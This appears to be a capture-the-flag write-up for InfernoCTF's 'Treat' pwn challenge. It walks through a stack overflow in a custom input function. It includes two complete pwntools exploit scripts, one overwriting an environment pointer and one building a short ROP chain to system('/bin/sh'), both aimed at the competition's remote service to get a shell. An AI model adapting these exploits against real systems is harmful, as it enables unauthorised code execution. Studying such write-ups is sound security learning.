#grub.js.org

InfernoCTF - Treat 200points (pwn) writeup.

Overview

This is a writeup for the challenge 'Treat' from InfernoCTF which took place in late december. It was a non trivial but relatively easy challenge with a few slightly different solutions.

We start by checking the binary's protections with checksec:

[*] '/root/ctf/inferno/pwn/treat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Having a look through the decompilation in ghidra, we can summarise that:

  • Some user controlled data is stored in the data segment at a fixed address.
  • Some user controlled data is placed in a buffer on the stack.
  • User input is placed on the stack a second time.

Here's where that takes place:

  printf("What is your name : ");
  custom_gets(&DAT_00405080);
  printf("Nice to meet you %s, What treat would you like?",&DAT_00405080);
  print_menu();
  custom_gets(local_48);

custom_gets() is also called again at the end of the binary.

Lets take a look at the function which processes our input:

void custom_gets(long param_1)

{
  char cVar1;
  int iVar2;
  uint local_c;

  local_c = 0;
  do {
    iVar2 = getchar();
    cVar1 = (char)iVar2;
    *(char *)((int)local_c + param_1) = cVar1;
    local_c = local_c + 1;
    if (cVar1 == '\0') break;
  } while (cVar1 != '\n');
  *(undefined *)(param_1 + (long)(int)local_c + -1) = 0;
  while ((local_c & 7) != 0) {
    *(undefined *)(param_1 + (int)local_c) = 0;
    local_c = local_c + 1;
  }
  return;
}

Kind of gross, but we can summarise its functionality as follows:

  • The function reads any length of input until it reaches a newline.
  • It truncates the input on a null byte.
  • It pads the input with null bytes so that its length it a multiple of 8.

( x & 7 != 0 to test for a multiple of 8 is pretty cool )

This input function is interesting. It allows us to overflow a buffer, however we run into trouble when writing addresses to memory since theyre likely to contain null bytes. Effectively, with each of the two buffer overflows we have throughout the execution of the program, we can only overwrite one word of memory. So how can we pwn?

Quasi-win function

Fortunately we have access to the following function:

void win_function(void)

{
  char *__command;

  puts("You want some special treat?\nHere you go");
  __command = getenv("TREAT");
  system(__command);
  return;
}

This makes it pretty obvious how we can use two single word overwrites to win:

  1. Place the string TREAT=/bin/sh in memory
  2. Overwrite the pointer to the first environment variable with a pointer to our string
  3. Overwrite the return address of main with the address of the win function.

So The first thing to do is decide how far we have to write. To do this, we just have to find the address of the env vars on the stack and determine how far they are from where out buffer sits.

We can find the address of the env like this:

gdb-peda$ x/gx (char **)environ
0x7fffffffe1a8:	0x00007fffffffe4c8

This is the address we're interested in overwriting. More specifically, we want to place a pointer to the string "TREAT=/bin/sh" at this address.

Subtracting away the address of the base of our buffer, we can work out that we need to write 312 bytes.

Once we've performed this overwrite, we simply overwrite the return address with the win function and we get our shell.

Exploit code:

from pwn import *

sh = "TREAT=/bin/sh"

sh_addr = p64(0x405080)
win = p64(0x401186)
or_env = "1" * 312 + sh_addr
or_ret = "A" * 72 + win

p = remote("130.211.214.112", 18010)

p.recvuntil("name :")
p.sendline(sh)
p.recvuntil("What treat would you like? (1~3) : ")
p.sendline(or_env)
p.recvuntil("Please give us some feedback : ")
p.sendline(or_ret)
p.interactive()

Win function: another method

It is also possible to use the win function present in the binary to win without overwriting environment variables.

The main idea is to use the call to system as part of a short rop chain which calls system with /bin/sh as the argument.

Our ROP-chain will look like pop_rdi + sh + system, so we need to figure out a way to get the address of the /bin/sh string into rdi.

You may have noticed that we need three items on the stack when we're only able to write two words. We can overcome this by writing one word, then returning back into main the write the next two. The exploit looks like this:

from pwn import *


system = "1"*96 + "\xa5\x11\x40"
ret_main_1 = "A"*72 + "\xc4\x12\x40"
sh = "1"*80 + "\x80\x50\x40"
pop_rdi = "A"*72 + "\xa3\x16\x40"



p = remote("130.211.214.112", 18010)

p.recvuntil("name :")
p.sendline('/bin/sh')
p.recvuntil("What treat would you like? (1~3) : ")
p.sendline(system)
p.recvuntil("Please give us some feedback : ")
p.sendline(ret_main_1)
p.recvuntil("name :")
p.sendline('/bin/sh')
p.recvuntil("What treat would you like? (1~3) : ")
p.sendline(sh)
p.recvuntil("Please give us some feedback : ")
p.sendline(pop_rdi)
p.interactive()

Note: the reason we dont use pwntools p64 here is that that would include null bytes in our payload. Instead we leverage the padding that takes place in the custom_gets function to pad out each address.